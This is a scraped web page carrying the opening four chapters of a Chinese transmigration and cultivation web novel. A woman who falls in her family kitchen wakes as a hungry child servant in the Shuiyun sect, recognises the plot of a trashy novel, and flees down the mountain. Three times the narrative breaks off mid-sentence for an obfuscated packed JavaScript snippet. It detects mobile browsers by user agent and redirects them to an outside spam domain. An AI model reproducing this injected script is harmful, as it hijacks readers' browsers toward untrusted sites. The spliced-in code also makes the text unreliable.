《铁马冰河入梦来》 1. 1 厨房里,厨刀剁肉的声音又密又快,阳光从半米宽的窗口照进来,刀把上的厚黄油渍亮得反光。 朱丽绝握刀的手越来越快,声音也近乎连成一道。 “滋啦——”不堪重负的转轴被用力推动,一大一小两个身影挤进转不开身的厨房,朱丽绝她妈把小豆丁往前推一把,顺手拢了拢臂弯里的塑料编织袋:“丽丽,你帮忙看着点朵朵,妈要去你小姨那儿看着点。” 朵朵摇摇晃晃往前走了两步,举起手里还剩一半的棒棒糖,朝朱丽绝露出甜甜的笑。这根棒棒糖,朵朵昨晚吃了一半,硬是被朱丽绝她妈从嘴里掏出来,用塑料袋包好,留着今天继续吃。 朱丽绝怕吓着小表妹,轻轻放下刀,语气里忍不住带上情绪:“妈,小姨那人够多了,爸和哥都去了,我还要做饭,还是你看着朵朵吧。朵朵这么小,不能来厨房。你看我肉都快剁好了,一会儿起锅烧油,油烫着朵朵怎么办?” “怎么会烫着,你做姐姐的,保护保护妹妹不是应该的吗?你小姨对你那么好,大学学费都是她出的,她走了,你不去她跟前帮忙,帮忙看朵朵都做不好,这大学上了有什么用!”朱丽绝她妈白了自己亲女儿一眼,转身往玄关走。 “咯吱——”门开了。 朱丽绝正逗弄小表妹,笑还挂在脸上,只听见玄关传来魔音:“丽丽啊,饺子记得包,你爸和你哥等会儿饿着肚子回来,要吃口热的。” 她捂住小表妹的耳朵,冲玄关喊道:“在那儿吃不就好了,小姨夫肯定会管饭的。” “都是个大姑娘了,你喊什么喊,什么时候才能懂点事,我们空着肚子忙前忙后怎么你了,你小姨夫回头包钱,我们家三个人呢!咱家缺那口吃的吗?真该收了你的手机,一天天尽看那些没用的小说,都不知道帮衬着家里一点。”说完这句,朱丽绝她妈也上了脾气,狠狠把门摔上。 “砰——” 朵朵顿时“哇哇”哭了起来。 朱丽绝急忙把小表妹抱起来哄。一起身,脑袋撞到锅的手柄,耳朵里塞满小孩的哭声和锅盖掉桌面上来回转着响的声音,两只手都不知道先往哪儿放,只能呲牙咧嘴地呼吸缓解。 燃气灶旁边还剩一层油的油盒子闷声倒下,油滴连成线,滴到地上,在她脚下悄悄形成一个不规则图形。 朱丽绝生生熬着那股痛劲儿,用羽绒服里的毛线衣抹掉小表妹脸上的泪水,然后亲了亲她,嘴里念叨着“不哭哦,我们朵朵不怕不怕”,一手托住朵朵的屁股,一手搂住后腰,一鼓作气将小胖妞抱起来。 她抱着小表妹转身去摆正撞歪的锅和盖在盐盒上的盖,心里琢磨着要把水池边的刀和肉往里面推一推才安全,等会儿再来包饺子。 手刚摸到案板边,脚下莫名其妙向前滑了一下,她和小表妹一起向后栽。 朱丽绝眼前天旋地转,只剩下一片漆黑。闷响之后,朵朵爆发的哭声简直要把耳朵给震聋了。她懵了一瞬,脑袋痛起来才后知后觉。 ……应该是摔着了,但身上挺沉的,朵朵应该没摔着。 问题不大。 就躺十秒钟,十秒钟之后她一定起来哄。 朱丽绝数到三脑子突然卡了,意识回笼时感觉似乎过了很久,绝对超过十秒,她迅速睁开眼睛。 入目是一片黑,胸口凉凉的,轻飘飘的,朵朵那个小胖墩不知道爬到哪儿去了,也没听见哭闹声。不对劲,人呢? 猛打一激灵,朱丽绝坐起身,目光在十平米大、黑黢黢的屋子里转一圈,最后直愣愣地盯住陌生的窗棂和三条直木棍外的黛色山峰。一点光从山外照过来,像坠入墨池的一滴清水,荡开片片鸦青色的云。 朱丽绝是从小踩在泥土地上长大的,上大学住在钢筋水泥的“鸽子笼”宿舍里,放假回家早上做早饭抬头就能看见一望无际、淹没在晨雾中的麦田。 她这辈子真就没见过这种山,这么高,这么多树,如墨般的翠色一层层染开,越往下越黑,不用猜都知道下面肯定很深。 “哎,今天醒的挺早,看什么?站那儿醒魂儿啊?”清朗的声音从另一侧飞过来。 朱丽绝循声望去,一个身穿亚麻色短袖和短裤的小孩走过来,背着背篓,挂着镰刀,瞧见她在看自己,小孩停下来,狐疑地看着她:“你……想偷懒?走走走,偷懒你想都别想。” 小孩不由分说推门进来,熟练地取下挂在墙上的背篓和角落的镰刀,帮朱丽绝背上,拉住她的手,两人一起出门。 直到这一刻,冰凉的手被温热的掌心包裹,朱丽绝才缓过神儿来。 她不仅来错地儿,身体还变小了,手小胳膊细,胸……这副身体明显还没到发育的时候! 出门走几步,窄小的没长草的小径就遇到断崖,不得不拐弯。 朱丽绝轻轻踢开路边的小泥块,泥块四分五裂落下断崖,连个声响都没有。黑黝黝的深渊直往上窜风。 “哟,你今天怎么回事,还敢往下看了。”走在前面的小孩听觉敏锐,稍有动静就立马停下,松开她的手,双手抱胸,脸上露出若有若无的笑容。 “我……”一开口,朱丽绝就知道这不是自己的声音,她的声音很低沉,而这声音脆脆的,是孩子独有的声音。 “我饿了。”她睁大眼睛,盯着面前的小孩,莫名有种羞耻感。 问小屁孩要吃的……算了,她也是个孩子。 崔西皱紧眉头:“你饿我不饿?快点去割草,早点割完卖点钱,说不定晚上也不用饿肚子。” 割草?晚上会饿肚子? 上一次听到这种话,应该是朱丽绝她爸喝大舌头,在饭桌上侃天侃地;当时,朱丽绝嘴里正塞着烤猪蹄。她爸尊享万众瞩目的辉煌时刻,扭头一看,自己那个嫁不出去的闺女正狼吞虎塞,气不打一出来。 当这一桌亲友的面,他呸一口唾沫,吐出牙缝的残渣,骂得越来越起劲:“吃吃吃,就知道吃,要是你活在我那个时代,哪有机会吃这么好,养一身肉,说不定都活到这么大!你该感谢我,感谢你妈,早点瘦下来,才有人家要你。” 朱丽绝永远记 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089017|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得自己被骂得面红耳赤,抬头的那一刻,十四双眼睛似笑非笑地看着自己,双亲和亲哥的眼里都是毫不掩饰的嫌弃。 ……穿越也挺好的。 暂且不提能不能活到二十岁,朱丽绝已经接受自己穿越几十年前困苦时代的事实。 穿越有什么稀奇的,小说里都写烂了,就算是穷到吃不上饭的时候,那些女主照样能凭借自己拿手的厨艺、优秀的品质和卓越的能力把生活过得越来越好。 她,朱丽绝,能下厨能杀鸡能杀鸭能杀鱼能打扫能做手工能识字能写字,一定能在这个时代过得好! 朱丽绝心情激昂,走路也越来越快,走在草地上和小孩肩并肩,甚至就快要超过他。 “喂,木音,你走过了。”小孩的声音从后面传来。 朱丽绝愣了一会儿才反应过来他喊的是自己。原来这具身体的名字叫木音。挺好,一听就是个女孩子,没有穿错性别。 木音笑嘻嘻地转身,抬脚跟上去:“饿昏头了饿昏头了,你说得对,应该是这边。” 崔西狐疑地盯着她看了会儿,转身继续往前走,边走边说:“要不是我喊住你,你进了鄂长老的万兽园,铁定被里面那些凶残的灵兽大卸八块,抽筋剥皮。等会儿割灵草的时候,你得让一株给我。” 什么万寿园,什么恶长老,还有灵草? 木音的笑僵在脸上。她的脑子都快转晕了,也没从海量的小说库存和稀薄的高考知识点里找到穷困时代的哪个时间节点会出现这三种东西。沾了“灵”字的草,难道不是玄学吗? “咳,额嗯,灵草是什么?能吃吗?” “你饿昏头了吧!”崔西转过头,稚气未脱的脸上浮现出老成的严厉,数落道:“想吃灵草,你也不怕被里面的灵气撑死,那可是玄级灵兽的食物。你这种资质,只吃一口,经脉要么被撑爆,要么被堵死……” 往后的话,木音一个字都没听进去。她现在满脑子都是那些天雷滚滚的玄幻文。 在玄幻文赛道上,她就是个虐文烂尾文的重度爱好者,被室友戏称“爱吃翔的绝绝子”。她看的能是什么好文,本本作者从连载到烂尾被读者骂得恨不得在网上裸奔。这种文对她的异世求生之路有什么价值?毫无价值,一点都不严谨!女主飞天遁地把所有看得顺眼的男人都纳入后宫,天天围着几个男人打转,满脑子都是情情爱爱…… “我错了。”她就不该看那些为了谈情说爱而谈情说爱的文。 “你错哪儿了?”崔西瞅着一会儿精神抖擞,一会儿蔫儿吧唧的木音,越发摸不着头脑。 木音没有回答,眼睛直盯着山外的天空,朝阳升起,墨色的树林和晨雾像是被点燃一角的信纸,热烈地燃烧,快速抱成一团。 阳光刺入她的眼睛,她眨巴两下,掉下一滴眼泪,冰冰凉凉的,挂不住没点肥肉的脸,一闪即逝。 眼看天光大亮,崔西等不得,干脆拉着还在神游天外的木音直奔百药园,跑去占割草的位置。要想割到更多的灵草,位置选得好,收获多一倍。 2. 2 灵草生长在百草园。 入目是一片空旷的草地,天边是山,脚下是草,从断崖上小路盘旋而上,木音和一群年纪相仿的童男童女走到山丘的平顶,身着墨色长衫的大叔对站在石碑旁的十八九岁男子作揖,毕恭毕敬说了几句。 那位面相更显年轻的男子微微点头,走到这群小孩儿面前:“我是长孙长老的徒孙,门内规矩繁多,这百草园偏僻,便不用讲这些规矩,你们叫我师叔就好。园内已经画好地盘,甲乙丙丁戊己六组的组长来我跟前抽取今日割草的位置。” 六个小孩站出来,领木音下山的小孩赫然在列,脸色相当不好。 他们紧赶慢赶终于赶到割草的地方,抢到一块草最多的地方,谁成想冒出来个大叔,袖子一挥,一帮人浩浩荡荡去百草园。 木音空着肚子走了小半个时辰,现在又被山顶毒辣的日头晒着,已经有点熬不住。 她悄悄往旁边那个少女身边凑了凑,想问句话。 脖子刚伸出去,手就被另一边的少年拽了一下:“乱动什么,师叔就在面前也敢瞎闹。”大脑袋的声音不高,偏偏五六岁正是声音清脆的年纪,话音刚落就引来师叔的注目。 “我知道外门规矩比内门多,作为内门弟子,我不好插手外门的事。领了牌子,你们就去割草吧。”说完,师叔召出一根筷子似的前圆后方的木棍丢到地上,踩着法器离开。 “走吧。”崔西回来喊人。 见木音还盯着师叔离开方向发呆,他抬手掐一下那没二两肉的胳膊。 “咝~一点肉都没了你还掐,掐什么掐。”木音下意识怼一句,扭头一看,五双眼睛直愣愣地盯着自己。 她心虚了:“下回、下回打我一下就行,用手掐……累手,耽误割草。” 崔西将牌子依次展示给其余四人看,轮到木音时,他用手指盖住最下面两个字,只留一个字符。 “……记得要给我一根灵草吧?” 木音点点头,睁大眼睛,满怀期待,仔仔细细地看了一遍木牌,再看一遍。 三个字符,她一个字都不认识。这上面的字笔画繁多,每一笔都是弯弯曲曲的,倒像是上辈子的古文字。 崔西收回牌子,转身就走,木音亦步亦趋地跟在后面。 他们是一个小队,理应在一起割草。 走着走着,崔西停下来:“你……为什么跟着我?” 木音:? “你已经走过了。木牌上的标号,你没记住吗?丁丙己。”崔西的语气凉飕飕的。 木音感觉自己的脑子要被冻僵了。 丁丙己? 就算她识字,也难在一片空旷的、没有任何标志的草地上认出个横竖来! 被人直直地盯着,木音心虚得发慌。 电光火石之间,她祭出最常用的敷衍话术:“……我在想事情,走神儿了。” “胡说什么呢,若是失去神魂,你该死绝了,连轮回都进不去。入门课上,夫子教的东西你都拿去喂狗了?”崔西将镰刀倒垂在地,目光里多了几分审视。 木音顿时起了一身鸡皮疙瘩。她对这种目光很敏感。 她老爸跟上门相看的叔叔阿姨拍着胸脯保证自家闺女瘦下来绝对是个美人胚子时,对方就是用这种目光盯着自己。所以,在意识到自己穿越的那一刻,她非常开心——再也没有人拿挑菜的眼光看她。 但现在,她更担心自己被揭穿。玄幻文里一个防狼喷雾效果的法术都能把人打飞十米远,她一个小小的普通人,可承受不住修仙派巨擎水云门的刑讯、拷问。 “我在想……为什么那位师叔今日突然改变主意,让我们来百草园割草。”说到“百草园”,木音隐约感觉这三个字有些烫嘴。 “前几日绮珊长老归来,还带回来一个小徒弟,收作关门弟子。掌门大喜。据说那位小师祖不仅天资卓越,还出生修仙世家,底子不错,绮珊长老着意选一只灵兽送到斑斓谷陪伴小师祖。让我们来这里割草,估计是为了小师祖的灵宠。” 崔西对外界的事深谙于心,说完连连摆手,示意木音快去割草:“你管得再宽也没用,肚子饿了还得吃饭,赶快去割草。你还差我一根灵草呢,我可不管你今日能割多少,有没有饭吃。” 木音瞥一眼地上的灵草,不以为然。 不就一根草嘛,今天她就让这帮小孩见识一下什么叫实力,她可是能在年末只用一天就把八十平楼房和三个六十三平的平房打扫干净的人! 木音雄赳赳气昂昂走到看不到边线的丁丙己区域,随便找个地方蹲下,约五六厘米的草纷纷倒伏。 她握紧镰刀,随机选择一株,伸手捏住根茎——抓空了…… 抓空了? 她盯着秃了一块的地皮和小土坑,直发愣,花了好一会儿才接受这个事实。 真不愧是灵草啊,不乐意被拔还能长腿还能跑。 割草的时间只有两个时辰,晌午,另一位赫袍师兄乘飞剑来到百草园,按顺序喊号收取孩子们背篓里的灵草,轮到丁丙己时,他喊了两声也无人应答。 一群孩子你看看我,我看看你,最后齐刷刷看向崔西。 接收到师兄的眼神,崔西麻溜儿地打掩护:“回师兄的话,今日我去北约山山腰上找她,她看着似乎饿得有些撑不住,现下估计是饿晕在草地上了。我这就去找她。” “北约山山腰?是子兰师姐带回来的孩子?” 得到肯定答复,师兄捋一捋小胡须,思量片刻,缓缓说道:“子兰师姐素来待人宽厚,今日我就不收取她的灵草,你一会儿记得替她去饭堂拿两个包子,莫要让她饿伤了身体。” “是。”崔西大声回答,随即退回队伍里。 送走师兄和队里其余四人,崔西在草坪上找到饿黄了脸的木音,轻轻叹了口气,将手臂架在他的肩膀上,一步一步往山下挪。 在崔西的记忆里,这已经不是第一次发生了;而从朱丽绝记事起……还没有。 每次她老爸搬出那套没饿死你就是大恩大德论,她都想饿晕一次试试;真饿晕了,她两眼一睁,视野还没对焦,鼻子差点流口水。 “你……在吃……什么?”好香啊,是粮食的香味~ 听到声音,崔西快速咽下嘴里的半个包子,将仅剩的半个递到木音面前:“饭堂的大叔看在子兰师姐的面子上给你的,今日来收灵草的师兄也是看在子兰师姐的面子上免去你的责罚。” 子兰师姐? 木音对这个人没有半点印象,满心满眼都是那半个包子。脖子一仰,包子到嘴。久违的食物香味恨不得从口腔窜到天灵盖,木音满足地叹了口气。 半个包子下肚,再想吃第二个,已经没有了。 “就只有半个?”木音砸吧砸吧嘴,意犹未尽。饿太久了,半个实心包子都没尝出味道就没了。 这让人怎么活啊,她还在长身体呢! “没了。” 崔西掰手指,边数边说:“食堂大叔给了我三个,一根灵草半个包子,我拿走你半个包子;我把你从山顶背下来,再拿走两个,剩下的是你的。” 剩下的,就只有半个。 木音盯着房梁上的蛛网,饿得不想动。一想到挖灵草是跟兔子跳似的体力消耗活动,跳到腿抽经的回忆顿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089018|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时涌上来,让她生出肚子疼的错觉。 “怎么就三个啊,子兰师姐的面子就值六根灵草嘛!”她小声嘀咕道。 “那下次挖灵草,你争取挖一根。”崔西舔干净指腹上的面皮,在粗麻衣服蹭了几下,起身准备离开。 木音叫住他。 日上三竿,刚吃过饭,他们这帮五六岁的童男童女还得做什么任务? “今日要打扫升仙阶和小广场,你也得去。” “一定得去?”木音不想去。 “今日是玉小师祖的拜师大典,若是让其他师兄师姐知道你偷懒,子兰师姐的面子怕是兜不住。”崔西早已习惯木音爱偷懒,在这种事上,出手就拿住她的七寸。 木音蔫巴了。 如今看来,这具身体在这里最大的依仗就是“子兰师姐”,如果得罪这位师姐,怕是活不了几天:“……哎~那位玉小师祖真有排面,拜师都要在升仙阶前的小广场上举行……” 升仙阶,小广场? 她怎么知道升仙阶前是小广场的! 木音心里一激灵,总觉得这个名词很熟悉,她好像在哪儿见过? ……升仙阶?小广场!这不是玉清风重伤大师兄,一念入魔,和大师兄同归于尽的地方吗!那个叫什么的男N号就是在小广场上用血流成河的水云门的魂魄逆转阴阳,打开鬼界大门,和玉清风双宿双飞做了鬼修! 我擦,这不是《师妹和她的108个男人》那个雷天雷地的烂尾大结局吗! 仅仅几秒钟,木音就把那本烂尾文的大概剧情回忆了个遍。简单来说,那就是女主从傲视群雄到和群雄谈恋爱,最后把人界、修仙界的英杰都带到鬼界谈恋爱的故事,至于鬼界的英杰,因为小说烂尾,也就没有结果了。 具体有没有108个男主,木音也没数过。这本烂尾文连载到最后,评论区骂声一片,她半幅心思都在吃瓜观战上。 木音:…… “我错了。” “……你,又错哪儿了?”崔西难以形容自己此刻的心情,他没想到竟然有比饥饿更痛苦的表情,而且还是出现在木音的脸上。 ——外门唯一一个和内门弟子有关联的人,哪怕只是个杂役。 “我的脑子脏了。”木音直挺挺躺在木板上,第一次干脆地想:就这么饿死算了,这有病的世界走向,谁爱活谁活,她不活了! 崔西走过来,踢了踢她的脚:“走不走?这板子是饭堂大叔临时借给你的,一会儿就来收走。你想躺地上?” “咚”一声,木音滚到地上,瘦削的身体连掉在地上声音都是轻的。 崔西:…… “算了,我先走。” 才迈出两步,裤腿就被人拽住,他头也没回,只听木音说:“我们所在的门派叫什么?你叫什么?那位玉小师祖,叫什么?” 崔西完全搞不明白今日的木音究竟在想什么,明明和之前一样爱偷懒爱耍赖,说出的话却句句不对劲。 他保持一贯的好脾气,耐心回答:“你我都是水云门外门的杂役,我叫崔西。玉小师祖姓玉,名清风,今日拜师大典,绮珊长老会给玉小师祖赐字。” 他转身蹲下,看着木音泪盈盈的眼睛,有些诧异:“怎么哭了?” “土进眼睛里了。”木音擦去眼泪,站起来,拍了拍崔西的肩膀,感动地说:“真好,我们都是被这个世界遗忘的普通人。” 崔西一头雾水,完全听不懂:“世界是谁?你……我们虽是杂役,但好歹是能引起入体的人。和山下那些普通人可是有着本质的区别。” “太好了,我想下山当普通人。” 3. 3 拜师大典主要在内门举行,和外门有关的只有小广场上类似欢迎仪式的典礼。 典礼要进行三个时辰,外门弟子依次排开,对每一位来访者行礼问候。崔西得空瞥一眼木音,她正和之前一直不对付的方圆说话,方圆挂着冷脸,有一搭没一搭回答她。 乍一看,似乎没什么异常。 女孩子的友谊总是很奇怪,来得快,去得也快。 等夕阳下沉、月挂树梢,没人在自己耳边嘟囔好饿好饿,崔西才察觉不对劲。沿着下山路去半山腰的小屋,果不其然,他在窄路上逮到收拾包袱准备跑路的木音。 “……晚上好,月色挺美哈。”木音攥紧手上的小包,有点紧张。 上辈子一堂课都没翘过,这辈子她两眼一睁就想着逃跑。转变太快,她还没来得及适应。 崔西的目光从小包挪到木音的脸上:“真准备走?” 一听这句话,木音心里的天平又开始倾倒。但这是新的人生,没人知道她是个小窝囊。她双手抱拳,豪气万千地说:“走了,这段时间多些照顾。” 崔西没想到木音能说出这种话,但包都收拾好了,看起来决心不小。 “……你不能就这么走。” 木音:? “宗门有规定,入门弟子必须筑基之后才能下山,否则罚去后山面壁思过,并除名于本宗。” “我和饭堂里下山采买的伙计一同下山,天亮就已经到山下,不会被发现的。”木音考虑过被抓的可能性,趁着典礼嘈杂,把周围一圈人都问了个遍。什么时候出发,什么时候到山下,什么时候进入最近的一个城镇,她一清二楚,绝不会出问题。 再说,外门溜下山转转的杂役又不止她一个。 崔西轻叹一口气:“你的房子空了,明天天不亮就得割草,要是让师兄发现,唤来飞剑下山抓你,不过晌午,你一定会被抓到。” 这的确是个问题。 木音犹豫片刻,肉痛地从包里掏出仅剩的两枚低阶灵石中的一枚,塞给崔西。 崔西没要。 “要我帮你隐瞒,你的一枚灵石能换我后半生的修仙问道之路?”他的语气和目光都很平静,静得可怕。 木音等不及了,搓搓手打开包袱。这里是她所有的家当。 “想要什么,你挑。” “你真愿意给?” 崔西边伸手从一套旧衣服两枚灵石一把裹住刀片的镰刀中拿出唯一的木质令牌,“这个,也给?” 月光将木质令牌上沟壑纵横的字映照得格外清楚,墨痕闪现零星的光泽,一看就知道是个好东西。木音凑近细看,发现上面有字。 “给!”她看不懂上面的字。 只要离开水云门,这东西对她就没有任何意义。她要的是满足日常吃穿用度的东西,旧衣服,灵石,镰刀,她有这些就足够了。 崔西有些诧异地看了木音一眼,快速将木牌塞进怀里,生怕她返回,果断让出一条路。 “明天我会帮你瞒一会儿,能不能走得了还得看你。” “多谢多谢。”木音提起包袱的四角,囫囵扎起来,跨在肩膀上,拔腿就向饭堂跑去。 等她跑远了,崔西抬脚继续往山下走。 “生活居”门前亮着两盏灯笼,一人在窗前静坐。崔西轻叩木门,不多时,一位白袍男子打开门,见到来者,满脸惊喜:“崔兄,这个点,你来找我喝酒?” “酒得备上,今夜月色正好,最宜喝酒。”崔西满脸喜悦,抬脚跨过门槛,身上荡出的禁制气息被暖黄的灯笼挡住、驱散。 门内门外,男童顷刻间长成少年,白面书生的模样,衣服也随之变得得体合身。 白袍男子啧啧赞叹道:“崔兄这身衣服真不愧是用龙筋抽丝制成的,大小、模样变化自如,不然,我房内那几套新做的衣裳或许就能派上用场。” “衣服是好衣服,要不是和子兰师姐打赌,我也用不着天天穿这衣服在地里割草割了好几年。” 说起这个,崔西脸上多了几分无奈。 言则轻挑眉,一口就是风流之词:“哦~今日三宗汇聚,是哪位仙子得崔兄青睐,让崔兄冒着被罚的风险也要来我这院里一解相思之苦啊?” 崔西哈哈大笑,笑够了,随手拿起桌上温好的酒痛饮一番,将空酒瓶随手掷在地上:“我一个下午全在那跪这个仙那个道的,小广场上哪块砖有哪道缝我都快认齐全,哪有什么机会看美貌的仙子?不过啊,你有一点说对了,我还真要借你这宝地一用。” 言则重新温上一壶酒:“愿闻其详。” “我要借你这的法阵隔开师尊设下的禁制,恢复灵力。刚刚我已经向子兰师姐传信,等会儿她就会过来。” “子兰师姐?”乍一听,言则愣了一下,随即想到什么,满脸震惊:“你们的赌约……你赢了?不对,那孩子才六岁半,按理说,最快也就引气入体一年,已经要筑基了?” 崔西摇头,拿出怀里的木牌,拍在桌上:“她,跑了。” 木牌在桌上发出闷响,言则张嘴想说些什么,一道声音插进来,生生止住话头:“跑了?木音下山了?” 宋子兰轻轻招手,木牌飞入手中。 的确是她挑的位置。 “是偷偷下山,这会儿估计已经要出山门了。哎嘿,没想到吧。”崔西拿起温好的酒,倒一杯掷给宋子兰,语气里全是快意。 “宋子兰,愿赌服输,你去师尊面前替我求情,那破草,大爷割腻了!” 宋子兰摩挲着木牌上的数字,良久,轻叹一声,一口饮下杯中的酒,将酒杯扔给言则。 “她为什么偷偷下山?” “我怎么知道?或许是割草割烦了,或者吃包子吃腻了,总之就那种生活环境,哼,她能忍一年我还真佩服她。”崔西越说越气愤。 那种破环境,他竟然忍受了这么久,活该天怒人怨。 宋子兰越想越不明白,看向崔西的目光多了几分怀疑:“崔师弟,木音和我们不一样,她刚记事,村庄就被鬼修屠灭,她发誓要修成正道,为亲人雪恨……” 言则突然起身,打断她的话:“子兰师姐可是认为崔师兄从中作梗,逼走那孩子?师姐,崔师兄虽然性子急躁,但本性不坏,师叔当年也是看中这一点,才在师兄犯下大错时网开一面,没有罚去后山。” 见两人都想说话,言则强势拦住,继续说:“师姐觉得木音背负血仇,天资不错,能在修仙问道上有所作为。修仙问道和凡间舞刀弄枪绝不相同,日复一日,毫无进展,是常态,那孩子受不了杂役弟子枯燥的生活,一走了之,也是情有可原。” “没错。”崔西频频点头,“凡人顺势而为,一生庸碌,而我们修仙者逆天而行。仙凡有别注定了那孩子早晚会离开。” 宋子兰沉默片刻,捏碎木牌:“……好,你既已知错,我便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15089019|163616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去向师尊求情。” 她起身离去,留两个人在小院里欢欣鼓舞,喝到天亮。 宋子兰在东慢坡迎风坡吹了一宿冷风,等到天亮,才起身去找师尊。 晨光洒满大地,山下崎岖泥泞的小路上,一辆板车在缓缓前进,三人一驴晃悠晃悠往镇上去。 “你们看,我们快到了。”说话的满脸雀斑的男孩叫马生,是和木音一样的杂役,这次来山下转转。 没人知道木音想逃。 马生望着数百米外镇子的轮廓,瞪大眼睛,嘴角微微张开。 木音仰起头,正好看到他干涸的嘴唇上渗出的血丝。 下山的路多石子,他们坐车颠得腰酸屁股疼。等到仓库,马生坐在板车末端,第一个被踹下来。 管事的骂骂咧咧催他进去搬米面粮油。 没等管事的胖子动手,木音率先跳下车,但还是逃不了一顿训斥。 “哟,挺机灵嘛,就是小心聪明反被聪明误,别想靠一点小聪明耍花招,第一次下山,要多学多看,才能有下次机会。”管事的边说边瞪眼睛,两尾余光跟飞镖似的飞向两侧。 木音唯唯诺诺点头,转身沿着马生离开的方向,拐进巷子。 周围的摊贩都是卖菜卖小东西的凡人,见到他们,纷纷把摊子往旁边挪了挪,跟避瘟疫似的。 木音诧异地多看几眼,脚步加快,进入巷子深处。 水云门每十天派人下山运食材,筑基之后,修士为了洁净身体,都会选择辟谷,外门没筑基的杂役多,十天的吃食要准备不少东西。两个免费劳动力就一袋一袋、哼哧哼哧地往板车上搬东西。 木音人小力气小,搬完一袋土豆,人累得气喘吁吁,趁管事的不在,她蹲在墙角休息休息。 正好马生抱着一袋白面走过来。对视一眼,她挨了对方一白眼。 木音:“……要不你也来歇会儿?” “好吃懒做!”丢下这四个字,马生昂首挺胸继续去搬东西,话虽如此,他脚步却有些虚浮,身体也一摇一晃的。 等休息得差不多了,木音进去,抱出来一袋面粉,正巧碰见管事的回来抓到躲在墙角休息的马生,大骂一通,直接把人骂红了眼睛。 木音把面粉放在板车上,趁机多休息一会儿,顺便看看周围的环境。 镇子不大,一眼能看到两侧城墙,茶肆、酒肆和青楼有好几家,旗子飘飘,吆喝阵阵,道路两边也有不少小摊贩,很热闹,卖的东西多是瓜果蔬菜之类的,买的人不多,看来周围有零散的村落。东侧有一株百年老树,一群人围在那儿看杂耍,靠路边有一口井,有个老婆婆就近支起茶摊卖茶水。 眼见太阳西沉,树下的人群各回各家,水云门仓库里的东西也快搬完了。 管事的胖子大摇大摆从耍杂技的那儿回来,一屁股坐在板车上。马生放好油桶,擦擦手,从怀里掏出白天的硬饼子,咬一小口含在嘴里,等软了再嚼。 “怎么就你一个,那个新来的呢?”管事的等得不耐烦,他还赶着回去蹭厨房的锅底汤水呢。 马生顿了一下:“还有一袋米,我看她空手进去了。” “这小崽子,真会偷懒啊,我一看她就知道是个会偷懒的小杂种……”管事的撸上袖管,气冲冲跑进去,两眼一瞪,黑黢黢的仓库里没见着半个人影,倒是地上那袋米,原模原样躺在角落里。 他一嗓子嚎起来:“人呢!” 4. 4 木音蹲在树上大气都不敢出,等管事的前后转悠一圈没找到人,骂骂咧咧地离开,才跳下来。 “多谢公子。”照着电视剧里表演的样子,她依葫芦画瓢,像模像样地给好心拉她一把的人作揖。要不是囊中羞涩,她定然能再给一点实质的谢礼。 “不客气。我姓唐,名含。”少年身着一身棕色衣裳,系褐黄腰带,别一把唐刀,利落地跳下树。 他微微拱手:“你是被掳的人证。等我抓获那帮人,或许还要你去堂前对峙,检举他们的罪状。至于另一个孩子,我也会尽快救出来。” “被掳走?不不不,我没有被掳走。”木音连连摇头,心道难怪爬墙的也会有好心人,自己一招手就来了,原来是个误会。 看小公子穿着不凡,心地却很好,想来是当地民风淳朴所致。 “我……我叫朱越。”提到名字,木音留了个心眼。木音这个名字已经留在水云门,朱丽绝的人生大半都是承载老爹盼望女儿美艳绝伦才好早早定亲提高彩礼的期望而活着,再用显得晦气;现在,她要开始崭新的人生,要有个新的名字,比之前更好,更有她的风格。 “我从小就被住在山上的人收留,想下来看看,但山路难走,这才拜托那位管事的载我一程,我答应帮他搬米面。”她解释道。 “你不和他一道回去?”唐含微微皱眉。 近几日,木旗镇被拐卖幼童的贼整得鸡犬不宁,风声鹤唳,这女童年纪不大,主意不小,她不知事也就罢了,那位管事的能不知道?还是将人尽快送回去比较好。 “今日是个误会,我送你回去。山下并不是什么安乐窝,要是还不觉得尽兴,下次再来便是,这地儿跑不了。” 见他铁了心要送自己走,木音连连摇头,抱着胳膊往后退:“哎哎哎,男女授受不亲。” 男女授受不亲?唐含气笑了。这小屁孩懂得倒是不少,不过天色已晚,趁夜色上山多有不便,他初来乍到,对山上的情况不了解,稳妥起见,先回旅舍问问情况,明日再将小孩送回去。 “也罢,我不送你上山,但你要先和我回旅舍。” “我和你回去?”木音没想到他的态度转变得这么快,一时间没反应过来。这人怎么说风是风,说雨就是雨的? “这几日镇上屡屡有小孩失踪,你一个人不安全,再者,你有钱住旅舍吗?要是随便找个角落过夜,说不定天没亮人都不在镇上了。跟我去百里旅舍,先过一夜。”唐含抬手一指。 百米外,百里旅舍四个大字潇潇洒洒刻在石碑上。 “先说好,我没钱。”木易巴不得有人请客,搂上瘪瘪的包袱抬脚就走。 